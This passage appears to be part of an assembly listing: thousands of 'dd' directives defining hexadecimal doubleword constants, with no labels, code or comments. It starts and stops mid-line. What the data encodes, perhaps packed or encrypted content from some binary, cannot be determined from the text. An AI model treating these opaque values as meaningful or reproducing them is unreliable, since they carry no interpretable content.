0D1C1B50Eh dd 6C6FA974h, 1B1E308Ch, 94478D39h, 65A0D700h, 48B1B7C3h dd 337F00BBh, 1EB9D055h, 6F01057Dh, 0BD960B3Dh, 0E8200193h dd 0D6E1023Ch, 6E6B5F66h, 10076449h, 3B34915h, 2FD05AA3h dd 0C900DFBFh, 0B5320799h, 0AC3DD34Ch, 0D9D516DCh, 0C0CDC708h dd 30362822h, 0B4788325h, 1EAF03C0h, 3ABE2F57h, 0D1146103h dd 3DE88A02h, 0C500C111h, 943120F5h, 0D53EAB0Eh, 76E0D426h dd 8B171494h, 0D50FF020h, 0DB6A0F25h, 803F243h, 7F98C176h dd 312674CEh, 0FDC0BCDFh, 0A4304264h, 463244C0h, 21EE2400h dd 0C4D28474h, 2A6F02E5h, 0A46833DDh, 7859C0CAh, 648AAB00h dd 4851ACE7h, 600027A1h, 89BEBDFFh, 0B893D93Eh, 0A3894C90h dd 311F5C30h, 0B23951C0h, 2E2671h, 0CF3D410Fh, 0DA6208Eh dd 0F8A66490h, 77DBCA0Eh, 698BFDEEh, 1C108516h, 11618C1Dh dd 0A10B03CAh, 0DD431E9Eh, 15C0CC99h, 10785861h, 9D056480h dd 39C14B89h, 511044E7h, 3F8FA8D4h, 775CA6D8h, 0EA613D0Dh dd 0C1B02830h, 8E559E0Bh, 1F9AEE4h, 2392193Ch, 69269128h dd 0EB3200A8h, 4174D29Bh, 0BF7100CFh, 0EEB176D5h, 11008E34h dd 21A73C94h, 2CA0A367h, 25407EFFh, 648160B2h, 62899147h dd 25C900B0h, 60B8567Bh, 5836151Eh, 6FC2B067h, 6C80993Fh dd 1EFEEC35h, 39D13E0Bh, 500FDADh, 0F7FC2DA5h, 6D9E3402h dd 6471C9DBh, 1B5A3268h, 0B8C444E9h, 8FB88500h, 896E29F5h dd 0E04202FFh, 0DDF97ABAh, 2344DC78h, 3C93DAh, 0F09FD135h dd 5312B803h, 0B8CB23D4h, 107A4B00h, 0DC8FDF68h, 13649E8Ch dd 32AC04D9h, 0A0341366h, 0D253CFC0h, 8AB00018h, 1AE809F7h dd 0DB12D59Dh, 600BFCh, 45A81538h, 0C1A83028h, 0E23C6688h dd 0DC165486h, 6132631Fh, 0CAC0C04Ch, 461DBCBDh, 0A140A92Ah dd 0C28A38D5h, 54664B16h, 234A1544h, 5FA46B2Ch, 69C04A0Ch dd 0ACA41Fh, 7778960Fh, 29761C33h, 6646D907h, 0E3C08BCBh dd 251EB399h, 12C6C9h, 698AFC98h, 135589Fh, 3E905B66h dd 401DEA50h, 0D5CFCABBh, 199168B3h, 0CB4AE31Fh, 2C40613Fh dd 0B1CF132Ah, 0FE00F654h, 29F9EDA0h, 3BBC09E4h, 0D0807F47h dd 0F1BA40B4h, 0A9B0F70Eh, 2413F65Ah, 5628C8h, 0ACB5354Fh dd 256D20DEh, 57ADCA00h, 0CCDC84D6h, 5940FABBh, 3980FC48h dd 863FBD69h, 58B0F2EEh, 5F89005h, 0DC8B3E5Dh, 60334112h dd 0D17A9BCh, 0F1AF670Bh, 25E0387Fh, 422CBC75h, 461A3EB2h dd 0CF1D0064h, 18B8E395h, 9A0E32A2h, 42BEBA1Ch, 498C0F8Bh dd 60325884h, 1140D724h, 5E15160Ah, 7CCC6024h, 0CCD00062h dd 2F42FC95h, 19C3D4A2h, 2FF5B04Fh, 44204479h, 0C8D48929h dd 0F7E8500h, 98D152A4h, 0C1AD006Eh, 70B475CDh, 503BAF6h dd 51C76FF5h, 1C712265h, 0F36AC300h, 0AA96FEE1h, 92C7E42Eh dd 1815588Ch, 0FFC67448h, 444EC9DCh, 0FB2E8440h, 0A3223Ch dd 0D71A2061h, 91CB5F54h, 0DCD03E02h, 0E00BD103h, 2470E528h dd 11BC4CC8h, 16FE0733h, 0B9906C19h, 2492188Fh, 910DA3Bh dd 4C604DC9h, 38034AEDh, 3CDFD049h, 4B882231h, 0FBA00912h dd 0EEF94C8h, 3ACEA6D6h, 7132C740h, 4112AED7h, 78C738D9h dd 846A1A02h, 8CF240F0h, 7427D440h, 97C98011h, 0EC081400h dd 58A6D705h, 393E440h, 0F148CFC1h, 2682B881h, 51003C72h dd 186B3BE3h, 389A3Ch, 3EF837AAh, 143D0D67h, 51EF1898h dd 0E07DE998h, 11D725B3h, 86AB1420h, 2100026h, 3F490554h dd 334FDC9Eh, 17F95460h, 12670075h, 0B5C17038h, 0E70C4A77h dd 48A6190Ah, 27FEB805h, 0A0209C3Ah, 0A92F9D66h, 326CF00h dd 6879C6D6h, 45EC92FEh, 0D898EDE8h, 430E1F7Ch, 40EFCBE0h dd 0FE4F309Ch, 2C9C91FCh, 9D506034h, 481DE46Fh, 1BC13212h dd 21A02E4Dh, 0C0D23C41h, 176401DCh, 447A61AFh, 82DCAE98h dd 0F482EDC8h, 2624C169h, 0C880B4h, 0AA929366h, 47112130h dd 37A20B00h, 27AD2E28h, 0FBB000D6h, 0A9C3769Dh, 0FA07FC4Dh dd 0FDCC36C0h, 0D4788080h, 2A18C6AEh, 0E4F808D8h, 359D0700h dd 6DC83E25h, 0B2FA00F3h, 658B6460h, 5E30DDA3h, 0CB4D40F7h dd 68E0C0h, 951DFF51h, 36C101C2h, 0A90CFC75h, 61960E25h dd 1B56006Eh, 699FE587h, 13002BE2h, 0BBAB83CEh, 795FFC25h dd 8FF13D60h, 900EC38Ch, 7D00EA39h, 0BFDBFF7Fh, 1EF5980h dd 3CCB50EEh, 20555779h, 39C79BE5h, 63D108B3h, 2BCCA732h dd 19EE03ECh, 8A35FF8Dh, 0F5AB5105h, 0EA806701h, 77113B42h dd 0DEFF0004h, 43DA6DA4h, 7158B44h, 88AB2Bh, 60DF5BCFh dd 62BC41h, 0DD2D536Ch, 0F703EC0Bh, 0ACB39C3h, 0ED3103D3h dd 8C42CD7Fh, 26411118h, 3F49A908h, 0D680FAF2h, 32BB5F1Eh dd 0B1EC45BAh, 57338DF2h, 86D29F9h, 0E44B0460h, 0C18C358Dh dd 73BB65F0h, 7B5F0039h, 0EF725A62h, 130C44C7h, 29D5789Dh dd 0E8A425h, 7A5033E3h, 2FB2EBEEh, 0E072D8FDh, 69AA831Eh dd 3080089Ah, 60628084h, 0C19D49A7h, 0F18E90Dh, 0F5A18741h dd 4F90E2h, 0D5B877B0h, 749EA786h, 0D08F3700h, 63DBEA5Ch dd 776C00AFh, 0A7CB296h, 0BB24D78Eh, 28841CF6h, 2087B6A8h dd 5865AC7Fh, 7DEB01C9h, 359CC0EFh, 81404096h, 5200CFF9h dd 0B373174h, 9EE9960h, 5FBDF262h, 0E1BE3400h, 0CD34D789h dd 0C80861F9h, 0B5D68FA7h, 0BDA1978h, 13B6470Ch, 3A8618Eh dd 0BE53FE79h, 0B0D6B1BFh, 0FFDD2E01h, 910EF263h, 38802980h dd 0EE365435h, 1FA77607h, 0FE1D8A4h, 402424C4h, 57E56h dd 42E79560h, 62773794h, 0DA53DB1Ch, 0DD3BEC00h, 7971F279h dd 0B4D21ED3h, 0F8BE8086h, 0E4B829E5h, 4F0C0BECh, 798D0EB5h dd 1C300010h, 94923C37h, 7C032499h, 0AC60FF62h, 36C4887Dh dd 9B7F3Bh, 0B9783D29h dd 0D9FF9825h, 202DBF30h, 40A98E52h, 6E906CEBh, 0A4C58604h dd 4D05B0Ah, 0FF29F4Dh, 5E6540A0h, 0B1251D40h, 0EC00AF42h dd 318790D5h, 3C268B8h, 2DBEE9E0h, 9BB03DA3h, 9E76AC62h dd 281DC401h, 0AB947F42h, 6C50F03Fh, 5DB88D77h, 0FD3FFA07h dd 0F5307638h, 614B9DC9h, 5C8CE1DFh, 232C2582h, 1D5D002Ch dd 59FDFC9h, 0CA240081h, 45BDACB2h, 5E076E43h, 8C4CC340h dd 287B79B0h, 0FFDF0019h, 3012C0B3h, 200E5E2h, 597DFC72h dd 7849AF6h, 752E298Eh, 0ED822147h, 4056CDE7h, 54E04090h dd 0EED0EB00h, 3A4DC7FEh, 0A86354B2h, 68433052h, 0BFCD9528h dd 0A9D34F06h, 7D20DD81h, 381C2039h, 30C35200h, 433163BBh dd 5BC718DAh, 4072D1F1h, 5974C1E8h, 0A1B84901h, 0A2ED3BA7h dd 2D88D0h, 26A97A84h, 9EEC07AEh, 0D7182890h, 0CB41D4B5h dd 68A8490Bh, 5B2A51Dh, 44395D8Dh, 0C84B809Ch, 554D8C70h dd 6E2A8324h, 0D682BFB4h, 0FE9046A7h, 0B24284A1h, 0FBFA3500h dd 775537D5h, 6407D974h, 5F49B9F4h, 0F62B184Ch, 9ADE00A3h dd 23AB6CC0h, 5C0C2D74h, 30B1F403h, 0DBAC034Fh, 30B31777h dd 0D54038h, 36E2AF92h, 7EB2F56h, 9D2CB053h, 58F5E607h dd 0D117641Eh, 0E44F5C40h, 3CBA3DBh, 0FAC56616h, 4901395Ah dd 0C681EB17h, 91805449h, 0FFB1EE1Dh, 0A7001ABAh, 0CF8CB5ADh dd 62CD4B0h, 7D541116h, 0F500C991h, 0B4B16A72h, 3E3F1DCh dd 0F8716EFBh, 61006FB6h, 0E7055020h, 796C8411h, 0E4421E17h dd 0EFC4800Ah, 6DA8EA66h, 0F651AC60h, 1998514h, 17E8F835h dd 0FCDAE974h, 0D8007DC6h, 3911476Bh, 60B708E5h, 83C4B15Ch dd 150296E1h, 6BCFFEC2h, 4FB8A2E4h, 4B62305h, 2C919103h dd 8842A819h, 870EB9h, 977A78E8h, 0C67C727Eh, 5E9FA206h dd 612776h, 0EA519301h, 0E959D817h, 6EBD08C0h, 0C0066F6Bh dd 20E76361h, 1A0371A8h, 0C3EAC25Ch, 0E92FD819h, 0FE66000Ch dd 0D8CF5632h, 41E762D5h, 50F78380h, 1410EED4h, 0DEE3B400h dd 663379CFh, 81D86007h, 8516DF64h, 9CF9C62Ah, 79AF9930h dd 0EB5332h, 0F0397CC0h, 551B7230h, 60D8A1Ch, 17C77641h dd 4980A983h, 0FDC02BB7h, 0F0E0CFAh, 0B26FD0h, 5D139F3Dh dd 6673036Ah, 0B9790ACh, 4F676100h, 0C7119F1Ah, 0C2D400AAh dd 0B7DBE022h, 0ECF570B5h, 1415C8D7h, 3A987736h, 43D806ECh dd 0C13049h, 853FA8C8h, 3B8C1620h, 5F891700h, 0B52B910Fh dd 3D9C7850h, 0D800B37Fh, 74BCE940h, 0D8A83853h, 0F9009CB6h dd 0E0232DD0h, 0A426B005h, 2487BFCh, 0F99CA1Fh, 0F4846BC0h dd 0A7BB4008h, 0F8B030Eh, 0BCB92DC7h, 0BD3E6C20h, 0EFF8D76Fh dd 0DADD7B00h, 0DEEC1BCFh, 89A31437h, 0F82298B1h, 86FB4E00h dd 115C4B6Dh, 401400FEh, 996BEACAh, 0D0FCD3B3h, 0F926A11Fh dd 39E13887h, 90275483h, 0F67A1EE5h, 20DB0F91h, 86035D3h dd 0E396F28Eh, 17BB4F06h, 3F69FA82h, 0BF1FF521h, 0CAB4C04Dh dd 8BD3631h, 0C52FA8A8h, 54175D05h, 0CC569373h, 846A310Ah dd 13C0689Ch, 0C74CD32h, 1E2F70DBh, 0C8C61Ah, 252E2D17h dd 73601241h, 8FEA4A28h, 5E49C2DAh, 0DD252762h, 0A2C38001h dd 0A091BA01h, 863D0FCCh, 6100F708h, 44D98321h, 0D7B01BEh dd 14D33B5Bh, 70A088FEh, 6B8E42D8h, 446CCB22h, 85920FF0h dd 40DE87AAh, 0CC1D5BA3h, 1AFE51D4h, 95D1CA00h, 824EEB14h dd 2947F01Ch, 80946D27h, 238B9285h, 0F913FE59h, 6C007076h dd 0B1774CF1h, 90DCA4C0h, 2420A495h, 6DC0FEAh, 21FD0107h dd 9F7E21E9h, 0C1140221h, 0D353011Ch, 0B4542007h, 2EC57C4h dd 78AC7C55h, 8829CB1h, 1483AB74h, 0E9785E4Ch, 0EA00BAE8h dd 23B8AF2Eh, 1E1A67h, 45DCCDEFh, 51FB4BE9h, 3BF284A8h dd 332750A1h, 0BB6182Ch, 37A419h, 0E843B444h, 194EA004h dd 0F742939h, 0E76427AEh, 0FAB210C1h, 0C9EC63A2h, 0FCD04CC5h dd 7D70006Fh, 57AB0F89h, 0E76FEB02h, 8197ACE1h, 0D773D2Fh dd 0EEC8538Bh, 185C0206h, 4154E080h, 0C5280460h, 0F8249FCh dd 0E08301DAh, 0B0B64800h, 2A30B54Dh, 0CC60EE7h, 199400D5h dd 6377EBB9h, 8000F539h, 5C85032Ah, 513EC6h, 0C5581A5Fh dd 0F887DAD7h, 0ECD3B11Eh, 89590103h, 820800D2h, 6494F180h dd 0AF03C17Bh, 33198AD7h, 0AD291DEDh, 0E003C004h, 824F2390h dd 0E3344D00h, 0A9979CD1h, 28C4E8D0h, 22888C7h, 5BB4C163h dd 0A2E0D366h, 68A05CAFh, 59C2EF30h, 0E05874CAh, 38DBA407h dd 1C7CF9B2h, 7526B94h, 39607E5h, 3100E430h, 797ADEDCh dd 0FF85CFh, 979B2250h, 0BE0CE67Ch, 0D0376303h, 0D341E8A4h dd 0DA8800B2h, 0CC033597h, 0FF3922EDh, 0C5040063h, 6473B89Eh dd 5B1100E5h, 499A0733h, 0C1D4E065h, 58462895h, 0CE844h dd 9BBADAEh, 0D847025Eh, 9879DE0Ch, 0BD0201Bh, 4989B1EDh dd 0AF49568Ch, 0D428322h, 0E9EF20B9h, 6E94F42Ah, 0B7A108C0h dd 18D7B37Eh, 39C47349h, 5607A541h, 0DB8FB6F5h, 0FA19D666h dd 28573079h, 0B1E5D050h, 0E6448401h, 10AEB9A4h, 31D83B20h dd 7D11A5CFh, 438450DAh, 0CEF22B95h, 3226AD00h, 0CAA746D6h dd 79881873h, 435D61D1h, 480C8071h, 0F9EA3389h, 9C409598h dd 0EB010ECAh, 857068B7h, 21BAE507h, 2E024983h, 0D3E0B6CCh dd 0A139B115h, 0F9DC0AD9h, 26808050h, 0D7317356h, 8A680C77h dd 9641F133h, 70D2CC00h, 0FD2A4F35h, 13CA0014h, 2E053CB3h dd 0E5065F55h, 0DA6F46A4h, 3D5A7DA9h, 0EB1EF2BAh, 8B5C0FBBh dd 0E5DF1540h, 0F90194DDh, 8CE474DAh, 0BDD4F4ACh, 0F3470AB0h dd 8688A351h, 5180D8B6h, 0AD04B578h, 405358E5h, 902EB1C1h dd 145D54E0h, 0C0ABDB3Eh, 445E5B80h, 0FD07816Bh, 2FE0B48Dh dd 0D8E18Ch, 4373A5ABh, 0DB1BC52Ch, 0AD089350h, 295FFF30h dd 393D9CFCh, 560052F6h, 0CC4ACF15h, 891B5D7Bh, 0B68E8C0h dd 1AFB16F0h, 29F37901h, 84B9A204h, 28E5C544h, 6B8DDECh dd 0D1A1D371h, 45E0291Dh, 0E42E71C1h, 702085B1h, 0E4FA89ABh dd 0C08381C4h, 92A7E522h, 128B4638h, 842C5FAFh, 0E9A400E0h dd 0FDD0E1DFh, 0E5182556h, 0BC295CFFh, 0B8AB1C68h, 12DC8004h dd 152550C2h, 0D7557090h, 0F310F240h, 0D470AB53h, 0D377A480h dd 424529A7h, 204792B0h, 0E5B05754h, 5ADE5E12h, 5F158001h dd 1044E438h, 19E8433h, 11EFF920h, 21CC1464h, 7DA0080Ch dd 9B29D863h, 2D71C845h, 3672009Ch, 7CBEFA12h, 1C907D93h dd 8672D942h, 8D839238h, 2103A0EDh, 87FA46F1h, 6FA0DE30h dd 50C85F27h, 449DA847h, 6C00A07Ah, 1EC00D38h, 0A0D0B6DFh dd 0AE5BA2Ch, 964349D3h, 0AF0A3FCCh, 830515Ah, 4185C46Ch dd 1C0CD9B7h, 0E3F79CB9h, 6AD9081h, 20723399h, 4670BD8Ch dd 3902F930h, 4894C75Fh, 81298CA0h, 64DF003Ch, 0E44D9054h dd 5C9EAE15h, 7CDC226Ch, 195860AFh, 0B77DB156h, 0F770C083h dd 0DF970073h, 0A880400Ah, 7201D4CDh, 0D724906Eh, 28415E5Ch dd 7D11AA06h, 0F14180DBh, 57C52C0h, 0A9A60718h, 30A54629h dd 0B96A9213h, 88520372h, 6FAC04F4h, 19827751h, 5BDA417Eh dd 0A0A0D3E4h, 250BAB8h, 15E42B19h, 0D780DB8Ch, 0BD2148B1h dd 0AA50EE78h, 0D1504508h, 0B76B814h, 96A0600h, 21E79280h dd 0C0FEFCF2h, 0E6EC5CA0h, 0C548B1FBh, 61228E24h, 2B20A37Bh dd 0A01DF3C4h, 327854C0h, 8CA806DEh, 5DF2D4C0h, 0B6E9DC61h dd 0C02387C2h, 0C46D8D14h dd 5C4B009Dh, 0FDB96F45h, 0C6C8D848h, 41B37Dh, 5BB61037h dd 39B9256Bh, 0DF0A500h, 0BD184566h, 1DAB16FCh, 0B8E4000Bh dd 0D8A38C6Eh, 0C187A91Eh, 5198370Ch, 7BC06DAh, 20D3FA5Fh dd 30A7E813h, 6F0EFC20h, 8875097Fh, 1082BF5Dh, 0A842555Fh dd 0F31041F7h, 98A044D2h, 937F0364h, 3D97DB16h, 0E50EEBB0h dd 0E933470Bh, 4444107Ch, 0C7F807A3h, 0A0F228C2h, 0F5AA8A9Ch dd 0C4189728h, 65170A78h, 1430900Ch, 77D4F3C6h, 5F2B1D1Ah dd 0A711C7D3h, 7450B293h, 0E852E866h, 5FD712C8h, 20A05020h dd 44F80A53h, 24A8A969h, 74803F74h, 978CE581h, 5798A16Dh dd 0E915B91Fh, 4048E617h, 70613701h, 0E73065E3h, 0AE152098h dd 7AD8F69Dh, 1479EB60h, 0BD7FBD4h, 3C84A59Ch, 89699010h dd 0F16CFD00h, 4196D28Eh, 0D81F0048h, 2F3EE48Ch, 0FC175D80h dd 1C20888Fh, 4B1961Ah, 743A3019h, 490858Dh, 41A95020h dd 0D48987A1h, 6A053181h, 8103308Ah, 867FD5B2h, 0FA30FEEAh dd 0B8234CB9h, 2B90DD21h, 82AAB8C5h, 14627F8Ch, 0C4B60C02h dd 0AC044866h, 0B5586A2Bh, 0BC40C4C0h, 1A9901E4h, 88DBFCC4h dd 0F81185BDh, 0BC4072FFh, 14E58637h, 0B73200ABh, 0D960CC1Ch dd 2500176Dh, 0B57CAAC3h, 0C275FFF0h, 0BE481D31h, 62A05540h dd 0CF68D200h, 0F56EFEB0h, 90D90747h, 0A08DC80Fh, 0B339EABEh dd 3D455E00h, 74C65C17h, 0E0B600A1h, 3FF0522Ah, 0B700737Ch dd 0E93D87F8h, 4578AA2h, 0AC882C68h, 9D00FE30h, 0B08E170Fh dd 5AC100C5h, 0D645238Bh, 6600FBCDh, 9B93D8CFh, 12EF38h dd 80B6D25Dh, 21578C68h, 9D0E5A1Dh, 0BD050917h, 74C3450Bh dd 39FFA03Eh, 0C0EB00FBh, 0ECF0BDB8h, 545C74D3h, 0EE5E8048h dd 2E044BBEh, 3615A1h, 2FBB4ADh, 1C1601E2h, 78205BE8h dd 0F2DE33h, 84B68391h, 0A5FEBD86h, 44E0221Fh, 45E4AD40h dd 12210D04h, 90305E2Bh, 823DEBECh, 9A729007h, 0EE80E787h dd 94312FA3h, 23AA4008h, 0BA00397Ch, 0D7728707h, 70616B6h dd 74FCB8A6h, 0AF9350F8h, 1C921480h, 5FF2B908h, 80A39E1Dh dd 9687E5ABh, 92479DDh, 4B08500Fh, 73468458h, 84AF46DFh dd 1327F019h, 40DBF67Eh, 6E20C844h, 6F0070B9h, 4C5A0C1Dh dd 28948C9h, 0E8FB1BD3h, 0F864788Bh, 0DD4CACB0h, 48412F7h dd 44F3B020h, 0D099CA07h, 828DC5B8h, 1482F0D8h, 0FC23D55Ch dd 0B09100AEh, 0B68F40E0h, 0C8347D8Eh, 3CA2C17Ah, 0F907F23Eh dd 804DDFD7h, 0A4A3C48Ch, 0C77B3013h, 0A088F006h, 46E10FA1h dd 0B0A051ECh, 95F54E9Dh, 527E4100h, 0E371AB15h, 0ED84B86Dh dd 9007D13h, 967833DAh, 4CDB5DEDh, 0E69DF88Dh, 0FD03BC44h dd 659BE1C9h, 364B01FFh, 0A402C478h, 9040A154h, 4E243200h dd 1268B518h, 9FFE0Ah, 0AF899B7Bh, 0B81D84E0h, 0C4F8D648h dd 1004BFCh, 945D1879h, 1DE57D00h, 0B0E809Bh, 157001E3h dd 415169ACh, 6A46F49Dh, 25ECA152h, 10145Bh, 0C38F4704h dd 66F5D5A5h, 2AE37600h, 690FE47Eh, 5ECB80Bh, 0B619B8D2h dd 3A188089h, 58035CA1h, 41442285h, 0F8C08573h, 2842B7h dd 8AF1C536h, 0EFB86AC8h, 7533171Dh, 17C8954h, 0D22341E7h dd 9020E85Fh, 36C80185h, 4021FED9h, 49F0F870h, 8A8F7B0Ah dd 2740EC33h, 7F25E32Eh, 8E5C99B5h, 608058A5h, 0A6495542h dd 0ECE99D00h, 3914B3B0h, 0D2441C9Bh, 0F348C485h, 0EB3C8C52h dd 187DAA2Ch, 0EA336840h, 85370A5Ah, 47B83869h, 81E926B6h dd 244C490h, 0D4BC90A1h, 0AF3D9480h, 8CC01926h, 2C31F630h dd 6D3FD878h, 0C1488047h, 67449A2h, 4FF20584h, 763067h dd 259BC3A8h, 0AE187E6Dh, 0B949CD80h, 60AA78BDh, 327E947h dd 5500B17Fh, 481E9F20h, 28B89828h, 38BCB08h, 0A2F80D5Bh dd 87981C50h, 0D017DDAEh, 0C030C484h, 3A9E8FC5h, 19247A66h dd 9CC04FC8h, 0A8C1B5EBh, 19AF0438h, 0A611E974h, 6E5C6850h dd 0FD3F006Ch, 0CE091194h, 38004AFBh, 0CDBA5087h, 93609A59h dd 0A5AE1FE8h, 0DF6E4810h, 9C0CBF85h, 0D930CFE9h, 6F95060Bh dd 0FAA4B8A9h, 99FFh, 91EFCC6Dh, 41F6C5B8h, 0E5C9990Bh dd 5CE0079Dh, 7D58C20Eh, 0C2D4A0B6h, 2CA71Ch, 656625D5h dd 314B62ECh, 3F51F71Ch, 99D08B25h, 7844DFD0h, 87D8CCh dd 0DA0D9C9Dh, 0CC58F27Ch, 974D9000h, 37B7E165h, 0A85F05E4h dd 8855D723h, 0CE09AD08h, 224C2B51h, 23F7C724h, 5970A989h dd 2900337Ch, 61FA5C69h, 582AD16Bh, 0AC41A19Dh, 0E0DE17E8h dd 19A5002Dh, 42A7C1E7h, 75CFC65h, 71488D6Ch, 1B00B473h dd 58EDBF64h, 0FC001FBEh, 92E8A7E6h, 0E8EB43B5h, 0A07200FAh dd 0BBD72B5Eh, 5954AE4Ch, 0DF00CC5Ch, 0C4F6511Dh, 50439E19h dd 16D108D6h, 225CF2B6h, 5044FC4Ch, 0CAAFB500h, 28B722CFh dd 1EE524C0h, 84501000h, 0FA41D369h, 4888B8A7h, 7000D484h dd 72FBDC9Bh, 2116DB4h, 93660EBCh, 68C42CFFh, 6528797Dh dd 8022B478h, 9E4670AEh, 2C70A634h, 2624CAE4h, 0C460984h dd 4C0060E4h, 6C769F55h, 31F9A44h, 9293EF06h, 6E90073Eh dd 5F38AF20h, 109F2631h, 0E5A9414Eh, 5ECCA856h, 58B0775Dh dd 7C800C89h, 0B61264AFh, 6C920C09h, 608B8088h, 1BF9A24h dd 0AF236BE3h, 38B19DD0h, 2EBE8000h, 81EE6733h, 343230h dd 37078E5Bh, 0F39570Fh, 0B6D0FE0Dh, 103992CDh, 0B432D3Ch dd 9F2ECA1Fh, 0D6241CC0h, 0FCFD07h, 715897D9h, 0E609336Ah dd 5D02889Ch, 667FE5C8h, 8D0F0908h, 8C944F2h, 24D822FCh dd 0DC00DEADh, 6F2BDBCCh, 0DF7B00CAh, 917EB293h, 2017D378h dd 0E400F28Fh, 0D07F545h, 70A7165Dh, 46B800D9h, 0DABF6A7Bh dd 0A5E5AE09h, 21ECE4DCh, 0D9093250h, 420464EEh, 89007C36h dd 4387A73Ch, 2F2ACB6Fh, 75FC4209h, 36032100h, 8C57F0h dd 2689925Bh, 0A6AD6C4Bh, 6F264674h, 5D441C06h, 0B9895249h dd 71029100h, 0E00B577h, 0B36ABEF6h, 31DCA7E0h, 0E41A276Ch dd 7E88487Ch, 0DB2CA8F8h, 793AD647h, 3C101A00h, 0AE6FF71Fh dd 4EF49C5Bh, 740C508h, 9C2EF23Bh, 5B0AC00h, 0FD4A7Bh dd 80D4FF48h, 0F009117h, 0F2F51942h, 26D0A48Ch, 8FA0F86Ch dd 44E084E5h, 71432515h, 8AB3D804h, 40802B20h, 29275D31h dd 2E840DBh, 6B44475Bh, 0EC027C42h, 0E927075Dh, 8CB6F540h dd 0C5AC98C5h, 0FA2291h, 45DC8B60h, 5F786541h, 954A41Fh dd 9C89B94h, 98E5905Dh, 7A2F25Ch, 0B943FAF5h, 0B0B3E0B5h dd 350A6E52h, 0E815DAB1h, 71472842h, 82F3000Ch, 4135FE39h dd 5C4EC300h, 6EBB8A9Bh, 0B643EA38h, 6D490908h, 6307C899h dd 643C9608h, 76B0C3h, 57295F84h, 83527C08h, 0B0EF8F24h dd 0B800424h, 285092DBh, 0E5290FB2h, 5A8538F7h, 30D422B0h dd 0E0034844h, 8DA8B102h, 0EACCF854h, 0B2E80FF9h, 2E82E523h dd 0C84EC518h, 0C7A1100h, 0F3440AE6h, 20F39AEh, 5864B080h dd 1A8E619Bh, 5186C705h, 0C91E25Fh, 2210EBC2h, 8D042FFCh dd 0A797E513h, 0F90330E2h, 0AAF33672h, 0C8A8EFB1h, 865EF07Ch dd 80732C20h, 0A3DE1223h, 0C73088FCh, 66D44200h, 9F6457CCh dd 0F51400CBh, 0E5BBD176h, 0D813BE0Ch, 3005A118h, 4441EEDDh dd 51F20555h, 62933C38h, 0C851E53Ch, 0A6D6BC00h, 0E0F3672Dh dd 20B90241h, 8244F845h, 887150B2h, 29E7BD00h, 0FA455C86h dd 3A0E00ABh, 9A6A4AA4h, 0F501A138h, 0B1084FD2h, 0B4481BDCh dd 0DB0F88D5h, 0D3069D00h dd 0F5935B76h, 50707602h, 1F56EFC1h, 49B9A42Bh, 980089ADh dd 0B3A887FAh, 0F2D2B0A0h, 0B860D0B6h, 5B1BFE4h, 0ACD1F4B5h dd 4D40086h, 71CDCC11h, 89D2F800h, 813649E3h, 1B8B1FCh dd 0D88F7FD5h, 211C47Ch, 7BCFAF3Eh, 6027C700h, 8D5BB83Ah dd 8249518Bh, 40E0B992h, 9EFD8178h, 852E7668h, 9B69C411h dd 0E6ECF938h, 7CF83821h, 0BCBA5048h, 4404B0C4h, 1E09B9B7h dd 11BC75Bh, 91064670h, 0FD41D986h, 0BF00A95Ah, 6337CD86h dd 2999031h, 5BC261ADh, 1C84EAD3h, 0C88563Dh, 0ACE002Eh dd 5B3FE4EAh, 19033467h, 12741DAFh, 1A41214Ch, 229C5D10h dd 6CEB4A03h, 0A06BE0C3h, 49A5E338h, 3457781Dh, 57F21108h dd 8DB65661h, 0D18BC83Dh, 445E0448h, 0A6B4961Eh, 492BA0Eh dd 94E2CC55h, 49763F00h, 9529565Ch, 9FDC0502h, 44FD430Eh dd 8D220058h, 0A97E4DBBh, 0DF26835Dh, 43801018h, 0E2C11272h dd 4A584BAEh, 5831B4h, 0C3B367AAh, 84049E49h, 4B22430Ah dd 0B8063084h, 26281CEAh, 41606446h, 0DCCF588Dh, 472FCA71h dd 0C0601022h, 96E8009Ah, 46121767h, 0A97F055Dh, 5474EF0Fh dd 223620D7h, 4C3501E5h, 0D5803088h, 0F15F67C3h, 80BA953Ah dd 0AF4CE74Fh, 941BABh, 0B2D256F6h, 7CFB9906h, 54907883h dd 38FAB0ACh, 8C008EE8h, 1B20115Ch, 0EE52EB83h, 0F0B67EE4h dd 0E4C6A9E0h, 986F001Ch, 0B77F398Dh, 8318C387h, 6539E8BBh dd 0AC0085BFh, 441340DFh, 3A801D26h, 7D9583C4h, 201456D0h dd 80AC33ECh, 58AA572Bh, 0BDFCCEh, 0EBB6E669h, 0BF1865EDh dd 80057494h, 44E581DEh, 0A60EB433h, 8587B6D9h, 1843400Eh dd 53022194h, 0A1CC172Bh, 513CC003h, 0B699C497h, 2F94ADDBh dd 0F70A089h, 158F8DDh, 774EABBh, 4C477B99h, 7D89A2A0h dd 0D6132C7Dh, 294C0316h, 0C2D8B45Dh, 401A6CDh, 0A64DF8Dh dd 94344DC1h, 9C3F8846h, 19AC4E03h, 80A5C97Bh, 4C0D1CE2h dd 8700DA12h, 8C29101Eh, 10956549h, 0E071B9Ch, 83FC8D20h dd 0B8060B3Fh, 421D5804h, 46A87EB6h, 11D002BCh, 0BF316A37h dd 0C9EFF0A1h, 94CF13A1h, 0FD80E509h, 0DBF1BBBAh, 0B43B700h dd 9DE4E845h, 12B5F6Fh, 80AF8180h, 64BC489Eh, 607DD744h dd 6C2171DDh, 0FD3D8CE7h, 3F698092h, 6A51FEA0h, 10F892D1h dd 0DCDAF4C4h, 17ED6C30h, 60E44C78h, 8CD38505h, 1DC83058h dd 0A21DC43Ch, 0BD83C0CAh, 25AFD248h, 88C5DCF1h, 93E71601h dd 9F86F8Dh, 6B508D4h, 0C380E433h, 0F687B198h, 1B2B095Ah dd 0C11A0F0h, 0FCD05202h, 3B0084E4h, 1560C2A4h, 2AA5E896h dd 18880BC4h, 0F9AC50F3h, 6E7857E9h, 1470BF24h, 712A82Ch dd 0B8AF70D3h, 9EF21Dh, 4D30BB5Eh, 81208BFAh, 0BA03EE00h dd 74138460h, 0FE6E4CBh, 0AB857DB1h, 389910E0h, 8F4897C8h dd 24C42204h, 22A1AA8Dh, 0ECE44444h, 0B464DD0Bh, 0BECC2796h dd 0ED4EAFA7h, 0F8002060h, 18C9FC8h, 5D7A7EB8h, 60ACFC3Bh dd 0E5645F7Ch, 0C6320FE0h, 68581013h, 207C27E3h, 9E8F46A8h dd 0CC700749h, 0F063C8A5h, 0F24E8BE3h, 7100CA7Eh, 76DB760h dd 1A2AE8h, 295EBE93h, 2DBB9852h, 0C0E4AE1Ch, 0AB70C241h dd 2039FFA2h, 0CF87751Dh, 